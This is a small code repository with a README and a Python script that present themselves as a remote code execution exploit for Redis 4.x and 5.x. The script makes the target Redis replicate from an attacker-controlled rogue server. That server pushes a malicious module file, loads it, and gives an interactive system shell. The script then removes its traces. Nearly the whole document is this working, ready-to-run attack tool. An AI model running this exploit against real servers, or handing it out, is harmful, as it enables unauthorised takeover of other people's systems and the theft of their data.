├── .gitignore ├── README.md └── redis-rogue-server.py /.gitignore: -------------------------------------------------------------------------------- 1 | RedisModulesSDK/ 2 | exp.so 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Redis Rogue Server 2 | 3 | A exploit for Redis 4.x and 5.x RCE, inspired by [Redis post-exploitation](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf). 4 | 5 | ## Usage: 6 | 7 | Compile .so from . 8 | 9 | Copy the .so file to same folder with `redis-rogue-server.py`. 10 | 11 | Run the rogue server: 12 | 13 | ``` 14 | python3 redis-rogue-server.py --rhost --rport --lhost --lport 15 | ``` 16 | 17 | The default target port is 6379 and the default vps port is 21000. 18 | 19 | And you will get an interactive shell! 20 | -------------------------------------------------------------------------------- /redis-rogue-server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | import sys 4 | from time import sleep 5 | from optparse import OptionParser 6 | 7 | payload = open("exp.so", "rb").read() 8 | CLRF = "\r\n" 9 | 10 | def mk_cmd_arr(arr): 11 | cmd = "" 12 | cmd += "*" + str(len(arr)) 13 | for arg in arr: 14 | cmd += CLRF + "$" + str(len(arg)) 15 | cmd += CLRF + arg 16 | cmd += "\r\n" 17 | return cmd 18 | 19 | def mk_cmd(raw_cmd): 20 | return mk_cmd_arr(raw_cmd.split(" ")) 21 | 22 | def din(sock, cnt): 23 | msg = sock.recv(cnt) 24 | if len(msg) < 300: 25 | print(f"\033[1;34;40m[->]\033[0m {msg}") 26 | else: 27 | print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}") 28 | return msg.decode() 29 | 30 | def dout(sock, msg): 31 | if type(msg) != bytes: 32 | msg = msg.encode() 33 | sock.send(msg) 34 | if len(msg) < 300: 35 | print(f"\033[1;32;40m[<-]\033[0m {msg}") 36 | else: 37 | print(f"\033[1;32;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}") 38 | 39 | def decode_shell_result(s): 40 | return "\n".join(s.split("\r\n")[1:-1]) 41 | 42 | class Remote: 43 | def __init__(self, rhost, rport): 44 | self._host = rhost 45 | self._port = rport 46 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 47 | self._sock.connect((self._host, self._port)) 48 | 49 | def send(self, msg): 50 | dout(self._sock, msg) 51 | 52 | def recv(self, cnt=65535): 53 | return din(self._sock, cnt) 54 | 55 | def do(self, cmd): 56 | self.send(mk_cmd(cmd)) 57 | buf = self.recv() 58 | return buf 59 | 60 | def shell_cmd(self, cmd): 61 | self.send(mk_cmd_arr(['system.exec', f"{cmd}"])) 62 | buf = self.recv() 63 | return buf 64 | 65 | class RogueServer: 66 | def __init__(self, lhost, lport): 67 | self._host = lhost 68 | self._port = lport 69 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 70 | self._sock.bind((self._host, self._port)) 71 | self._sock.listen(10) 72 | 73 | def handle(self, data): 74 | resp = "" 75 | phase = 0 76 | if "PING" in data: 77 | resp = "+PONG" + CLRF 78 | phase = 1 79 | elif "REPLCONF" in data: 80 | resp = "+OK" + CLRF 81 | phase = 2 82 | elif "PSYNC" in data or "SYNC" in data: 83 | resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF 84 | resp += "$" + str(len(payload)) + CLRF 85 | resp = resp.encode() 86 | resp += payload + CLRF.encode() 87 | phase = 3 88 | return resp, phase 89 | 90 | def exp(self): 91 | cli, addr = self._sock.accept() 92 | while True: 93 | data = din(cli, 1024) 94 | if len(data) == 0: 95 | break 96 | resp, phase = self.handle(data) 97 | dout(cli, resp) 98 | if phase == 3: 99 | break 100 | 101 | def interact(remote): 102 | try: 103 | while True: 104 | cmd = input("\033[1;32;40m[<<]\033[0m ").strip() 105 | if cmd == "exit": 106 | return 107 | r = remote.shell_cmd(cmd) 108 | for l in decode_shell_result(r).split("\n"): 109 | if l: 110 | print("\033[1;34;40m[>>]\033[0m " + l) 111 | except KeyboardInterrupt: 112 | return 113 | 114 | def runserver(rhost, rport, lhost, lport): 115 | # expolit 116 | remote = Remote(rhost, rport) 117 | remote.do(f"SLAVEOF {lhost} {lport}") 118 | remote.do("CONFIG SET dbfilename exp.so") 119 | sleep(2) 120 | rogue = RogueServer(lhost, lport) 121 | rogue.exp() 122 | sleep(2) 123 | remote.do("MODULE LOAD ./exp.so") 124 | remote.do("SLAVEOF NO ONE") 125 | 126 | # Operations here 127 | interact(remote) 128 | 129 | # clean up 130 | remote.do("CONFIG SET dbfilename dump.rdb") 131 | remote.shell_cmd("rm ./exp.so") 132 | remote.do("MODULE UNLOAD system") 133 | 134 | if __name__ == '__main__': 135 | parser = OptionParser() 136 | parser.add_option("--rhost", dest="rh", type="string", 137 | help="target host") 138 | parser.add_option("--rport", dest="rp", type="int", 139 | help="target redis port, default 6379", default=6379) 140 | parser.add_option("--lhost", dest="lh", type="string", 141 | help="rogue server ip") 142 | parser.add_option("--lport", dest="lp", type="int", 143 | help="rogue server listen port, default 21000", default=21000) 144 | 145 | (options, args) = parser.parse_args() 146 | if not options.rh or not options.lh: 147 | parser.error("Invalid arguments") 148 | #runserver("127.0.0.1", 6379, "127.0.0.1", 21000) 149 | print(f"TARGET {options.rh}:{options.rp}") 150 | print(f"SERVER {options.lh}:{options.lp}") 151 | runserver(options.rh, options.rp, options.lh, options.lp) 152 | --------------------------------------------------------------------------------